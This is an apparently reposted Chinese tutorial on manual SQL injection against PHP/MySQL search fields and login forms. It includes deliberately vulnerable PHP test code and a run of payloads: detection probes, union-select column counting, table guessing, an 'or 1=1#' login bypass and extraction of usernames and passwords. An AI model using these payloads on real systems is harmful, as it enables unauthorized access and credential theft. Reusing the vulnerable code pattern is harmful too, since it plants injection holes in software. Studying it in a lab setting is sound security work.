SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
来源:互联网 发布:python拷贝文件 编辑:程序博客网 时间:2024/06/01 07:26
一、搜索型注入简介与原理
1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。
2)原理
$sql="select * from user where password like '%$pwd%' order by password";
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。
二、搜索型注入判断
判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了
下面这几种语句都可以:
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
三、搜索型注入实战
1)GET型注入
测试源码:
<?$pwd=$_GET['pwd'];$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库if($conn){echo "连接数据库成功!"; }//判断连接是否成功echo "<br>";mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句$result=mysql_query($sql);while($row = mysql_fetch_array($result)){ echo "用户ID:".$row['id']."<br >";echo "用户名:".$row['username']."<br >";echo "用户密码:".$row['password']."<br >";echo "用户邮箱:".$row['email']."<br >";}mysql_close($conn); //关闭数据库连接echo "<hr>";echo "你当前执行的sql语句为:"."<br >";echo $sql;?>
1.判断字段数
语句:
%' union select 1,2,3,4,...... and '%'='
还有种方法
语句:
%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
2.判断表名
语句:
%'and(select count(*)from admin)>0 and '%'='
把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。
3.猜解密码
由于这里用的就是密码,所以这里换成猜解用户名
2)POST型注入
测试源码
<?//--------------------------post处理--------------------------------//$name=addslashes($_POST['n']); $pass=addslashes($_POST['p']);$conn = mysql_connect('127.0.0.1','root','123'); if($conn){echo "mysql连接成功";echo "<hr>";}mysql_select_db('fendo',$conn); $sql="select * from user where username='$name' and password='$pass'";$result=mysql_query($sql);mysql_close($conn);while($row = mysql_fetch_array($result)){echo "用户ID:".$row['id']."<br >";echo "用户名:".$row['username']."<br >";echo "用户密码:".$row['password']."<br >";}echo "当前执行的sql语句:".$sql;?><form action="" method="POST">账号:<input name="n" type="text" /><br><br>密码:<input name="p" type="text" /><br><br><input name="" type="submit" value="提交" /></form>
1.判断是否存在SQL注入
用PHP万能密码进行测试
' or 1=1#
在用户名里输入万能密码如果没报错,就说明存在SQL注入。
2.猜字段数
' order by 4#
逐次更改数字去猜,直到不报错为止。
3.猜表名
'or 1=1 union select 1,2,3,4 #
4.猜内容
替换1,2,3为你想要获得的内容
'or 1=1 union select username,password,3,4 from user#
- SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
- SQL注入系列之PHP+Mysql手动注入(一)----数字型
- SQL注入系列之PHP+Mysql手动注入(二)----字符型
- sql注入之GET/POST注入
- SQL注入之POST型常规注入
- SQL注入之GET型常规注入
- SQL注入系列之ASP+ACCESS手动注入(一)----数字型
- SQL注入系列之环境搭建(二)----PHP+Mysql注入环境搭建
- SQL注入系列之ASP+ACCESS手动注入(二)----Cookie注入
- mysql+php搜索型注入问题记录
- SQL注入--GET注入
- PHP之SQL注入
- 简单防Get OR Post SQL注入
- get post注入原理
- 【sql注入】mysql注入
- (学习)SQL注入-POST注入
- PHP手动注入实验
- SQL手动注入
- js中数组与字符串的相互转化
- JZOJ3630. 【汕头市选2014】分叉(fork)
- 设计模式读书笔记----装饰者模式
- 在vim上实现跳转到定义处的方法
- Redis学习笔记
- SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
- 二月二十五日总结
- 用友nc65 uap开发参照多选三种显示情况总结
- PAT A1064. Complete Binary Search Tree (30)
- 【持续更新】qt学习笔记(1)
- fail2ban防止ssh暴力破解
- 2008Noip解题报告
- JDBC连接MySQL数据库并取出数据库中数据
- 【Leetcode】380. Insert Delete GetRandom O(1)